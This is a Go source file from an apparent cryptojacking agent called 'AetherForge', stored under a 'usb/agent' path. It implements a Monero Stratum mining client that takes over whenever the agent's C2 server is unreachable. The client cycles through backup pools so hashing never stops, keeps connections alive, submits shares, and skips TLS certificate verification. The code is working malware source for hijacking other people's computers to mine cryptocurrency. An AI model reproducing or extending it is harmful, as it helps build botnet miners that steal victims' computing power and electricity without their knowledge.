Files
AetherForge/usb/agent/miner/stratum.go

330 lines
9.4 KiB
Go

package miner
// StratumClient provides a minimal Monero Stratum client that the agent falls
// back to when the C2 server is unreachable. It feeds jobs directly into the
// existing miner.Pool so hashing never stops, and submits found shares back to
// the pool over Stratum so they are not lost.
//
// Protocol: JSON-RPC over TCP (or TLS), newline-delimited messages.
// Reference: https://p2pool.io/docs/stratum.html
import (
"bufio"
"crypto/tls"
"encoding/json"
"fmt"
"log"
"net"
"time"
"crypto-miner-agent/config"
"crypto-miner-agent/job"
)
// ─── Wire types ──────────────────────────────────────────────────────────────
type stratumMsg struct {
ID interface{} `json:"id"`
JSONRPC string `json:"jsonrpc,omitempty"`
Method string `json:"method,omitempty"`
Params json.RawMessage `json:"params,omitempty"`
Result json.RawMessage `json:"result,omitempty"`
Error interface{} `json:"error,omitempty"`
}
type loginResult struct {
ID string `json:"id"`
Job *stratumJob `json:"job"`
Status string `json:"status"`
}
type stratumJob struct {
Blob string `json:"blob"`
JobID string `json:"job_id"`
Target string `json:"target"`
SeedHash string `json:"seed_hash"`
Height int64 `json:"height"`
}
type submitParams struct {
ID string `json:"id"`
JobID string `json:"job_id"`
Nonce string `json:"nonce"`
Hash string `json:"result"` // field name "result" in Stratum protocol
}
// ─── Pool endpoint list ───────────────────────────────────────────────────────
type stratumEndpoint struct {
Host string
Port int
TLS bool
Pass string
}
func buildStratumEndpoints(cfg config.RuntimeConfig) []stratumEndpoint {
eps := []stratumEndpoint{{
Host: cfg.PoolHost,
Port: cfg.PoolPort,
TLS: cfg.PoolTLS,
Pass: cfg.PoolPass,
}}
for _, bp := range cfg.BackupPools {
if bp.Host != "" && bp.Port > 0 {
eps = append(eps, stratumEndpoint{
Host: bp.Host,
Port: bp.Port,
TLS: bp.TLS,
Pass: bp.Pass,
})
}
}
return eps
}
// ─── StratumClient ───────────────────────────────────────────────────────────
// StratumClient mines via a direct Stratum connection. It is started when the
// C2 server is unreachable and stopped as soon as C2 comes back.
type StratumClient struct {
pool *Pool
cfg config.RuntimeConfig
}
func NewStratumClient(pool *Pool, cfg config.RuntimeConfig) *StratumClient {
return &StratumClient{pool: pool, cfg: cfg}
}
// RunFallback cycles through all configured pools, trying each in turn, until
// stopCh is closed. If a pool does not deliver a mining job within 5 seconds
// of a successful login the connection is dropped and the next pool is tried.
func (s *StratumClient) RunFallback(stopCh <-chan struct{}) {
if s.cfg.PoolHost == "" {
log.Printf("[stratum] no pool configured — fallback unavailable")
return
}
endpoints := buildStratumEndpoints(s.cfg)
idx := 0
for {
select {
case <-stopCh:
return
default:
}
ep := endpoints[idx%len(endpoints)]
log.Printf("[stratum] connecting to %s:%d (pool %d/%d)", ep.Host, ep.Port, idx%len(endpoints)+1, len(endpoints))
if err := s.runPool(ep, stopCh); err != nil {
log.Printf("[stratum] pool %s:%d: %v — rotating to next pool", ep.Host, ep.Port, err)
}
idx++
// Short pause between pool attempts so we don't hammer them.
select {
case <-stopCh:
return
case <-time.After(3 * time.Second):
}
}
}
// runPool manages one Stratum connection until it fails or stopCh is closed.
func (s *StratumClient) runPool(ep stratumEndpoint, stopCh <-chan struct{}) error {
addr := net.JoinHostPort(ep.Host, fmt.Sprintf("%d", ep.Port))
var conn net.Conn
var err error
if ep.TLS {
conn, err = tls.Dial("tcp", addr, &tls.Config{InsecureSkipVerify: true}) //nolint:gosec
} else {
conn, err = net.DialTimeout("tcp", addr, 10*time.Second)
}
if err != nil {
return err
}
defer conn.Close()
// Set up a reader (Stratum is newline-delimited JSON).
reader := bufio.NewReader(conn)
msgID := 1
// ── Login ────────────────────────────────────────────────────────────────
wallet := s.cfg.Wallet
pass := ep.Pass
if pass == "" {
pass = "x"
}
loginReq, _ := json.Marshal(stratumMsg{
ID: msgID,
JSONRPC: "2.0",
Method: "login",
Params: mustMarshal(map[string]interface{}{
"login": wallet,
"pass": pass,
"rigid": s.cfg.WorkerName,
"agent": "AetherForge/" + config.Version,
}),
})
msgID++
if _, err := fmt.Fprintf(conn, "%s\n", loginReq); err != nil {
return fmt.Errorf("login send: %w", err)
}
_ = conn.SetDeadline(time.Now().Add(30 * time.Second))
loginLine, err := reader.ReadString('\n')
if err != nil {
return fmt.Errorf("login read: %w", err)
}
_ = conn.SetDeadline(time.Time{}) // clear deadline
var loginResp stratumMsg
if err := json.Unmarshal([]byte(loginLine), &loginResp); err != nil {
return fmt.Errorf("login parse: %w", err)
}
if loginResp.Error != nil {
return fmt.Errorf("login error: %v", loginResp.Error)
}
var lr loginResult
if err := json.Unmarshal(loginResp.Result, &lr); err != nil {
return fmt.Errorf("login result parse: %w", err)
}
sessionID := lr.ID
log.Printf("[stratum] authenticated on %s — session %s", addr, sessionID)
// Feed the initial job from the login response.
gotJob := lr.Job != nil
if lr.Job != nil {
s.setJob(lr.Job)
}
// ── Share submission channel ──────────────────────────────────────────────
// The pool's share handler sends shares here; this goroutine drains them
// and writes submit requests to the Stratum connection.
shareCh := make(chan [3]string, 64) // [jobID, nonce, hash]
s.pool.SetShareHandler(func(jobID, nonce, hash string) {
select {
case shareCh <- [3]string{jobID, nonce, hash}:
default:
log.Printf("[stratum] share channel full — dropping share")
}
})
// innerDone is closed when runPool returns for any reason (connection error
// or stopCh). It signals the submit goroutine to exit even when stopCh is
// still open, preventing a hang until the next share arrives.
innerDone := make(chan struct{})
submitDone := make(chan struct{})
go func() {
defer close(submitDone)
for {
select {
case <-stopCh:
return
case <-innerDone:
return
case share, ok := <-shareCh:
if !ok {
return
}
params, _ := json.Marshal(submitParams{
ID: sessionID,
JobID: share[0],
Nonce: share[1],
Hash: share[2],
})
req, _ := json.Marshal(stratumMsg{
ID: msgID,
JSONRPC: "2.0",
Method: "submit",
Params: params,
})
msgID++
if _, err := fmt.Fprintf(conn, "%s\n", req); err != nil {
log.Printf("[stratum] submit write error: %v", err)
return
}
}
}
}()
// Signal the submit goroutine and wait for it when runPool returns.
defer func() {
close(innerDone)
<-submitDone
}()
// Close the TCP connection as soon as stopCh fires so that the blocking
// reader.ReadString call (120 s deadline) unblocks immediately rather than
// making callers wait up to two minutes for the fallback to stop.
go func() {
select {
case <-stopCh:
_ = conn.Close()
case <-innerDone:
}
}()
// ── Job receive loop ──────────────────────────────────────────────────────
// If the login response contained no job, give the pool 60 seconds to push
// one before we give up and rotate to the next endpoint.
var jobDeadline <-chan time.Time
if !gotJob {
jobDeadline = time.After(60 * time.Second)
}
keepalive := time.NewTicker(60 * time.Second)
defer keepalive.Stop()
for {
select {
case <-stopCh:
return nil
case <-jobDeadline:
return fmt.Errorf("no job received within 60s — rotating to next pool")
case <-keepalive.C:
req, _ := json.Marshal(stratumMsg{
ID: msgID,
JSONRPC: "2.0",
Method: "keepalived",
Params: mustMarshal(map[string]string{"id": sessionID}),
})
msgID++
_, _ = fmt.Fprintf(conn, "%s\n", req)
default:
}
_ = conn.SetDeadline(time.Now().Add(120 * time.Second))
line, err := reader.ReadString('\n')
if err != nil {
return fmt.Errorf("read: %w", err)
}
var msg stratumMsg
if err := json.Unmarshal([]byte(line), &msg); err != nil {
continue
}
if msg.Method == "job" {
var sj stratumJob
if err := json.Unmarshal(msg.Params, &sj); err == nil {
s.setJob(&sj)
jobDeadline = nil // job received — cancel the 60s rotation timer
}
}
}
}
// setJob converts a Stratum job into the agent's internal job.Job format and
// feeds it into the miner Pool.
func (s *StratumClient) setJob(sj *stratumJob) {
if sj == nil || sj.Blob == "" {
return
}
j := &job.Job{
ID: sj.JobID,
Blob: sj.Blob,
Target: sj.Target,
SeedHash: sj.SeedHash,
}
s.pool.SetJob(j)
log.Printf("[stratum] new job %s (height %d)", sj.JobID, sj.Height)
}
func mustMarshal(v interface{}) json.RawMessage {
b, _ := json.Marshal(v)
return b
}